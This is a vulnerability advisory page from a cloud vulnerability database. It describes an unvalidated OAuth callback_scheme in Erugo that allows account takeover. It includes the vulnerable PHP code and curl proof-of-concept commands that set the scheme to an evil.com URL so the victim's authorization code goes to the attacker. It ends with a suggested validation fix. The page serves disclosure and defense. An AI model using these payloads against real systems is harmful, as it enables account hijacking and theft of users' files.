
Cloud Vulnerability DB
A community-led vulnerabilities database
The POST /api/app/auth/external/initiate endpoint accepts a user-supplied callback_scheme parameter with insufficient validation ('required|string|max:50'). There is no check that the value is a legitimate custom URL scheme. This value is stored in the database and later used to construct a redirect URL that sends the OAuth authorization code to whichever domain the attacker specified, enabling full account takeover.
In ExternalAuthController.php (lines 125-131 and 462-470), the callback_scheme from AppAuthState is concatenated directly into a redirect URL: $callbackScheme = $authState->callback_scheme; $redirectUrl = $callbackScheme . '://auth-callback?' . http_build_query([ 'code' => $code, 'state' => $state, ]); return redirect()->away($redirectUrl); The callback_scheme is set by user input in AppAuthController.php (lines 685, 723 for login; 930, 986 for account linking) with only 'required|string|max:50' validation — no format check for a valid URL scheme. An attacker sets callback_scheme to 'https://evil.com/steal?x', which constructs: https://evil.com/steal?x://auth-callback?code=VICTIM_CODE&state=STATE — the browser navigates to evil.com, leaking the OAuth authorization code. The endpoint POST /api/app/auth/external/initiate (routes/api_app.php line 50) is unauthenticated — no auth middleware, only rate limiting. Both the login flow and the account-linking flow (external/link) are affected.
curl -X POST https://target-erugo.com/api/app/auth/external/initiate
-H "Content-Type: application/json"
-d '{"provider_id": 1, "callback_scheme": "https://evil.com/steal?x"}'
curl -X POST https://target-erugo.com/api/app/auth/external/complete
-H "Content-Type: application/json"
-d '{"code": "STOLEN_CODE", "state": "KNOWN_STATE"}'
Complete account takeover of any user who clicks an OAuth authorization link crafted by an attacker. The attacker gains full access to all files, shares, and settings in the victim's Erugo instance. Both the login and account-linking OAuth flows are affected. Suggested fix: Validate callback_scheme against a strict pattern: 'callback_scheme' => ['required', 'string', 'max:50', 'regex:/^[a-zA-Z][a-zA-Z0-9+.-]*$/', 'not_regex:/^(https?|javascript|data|ftp|file|blob|vbscript)/i']
Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."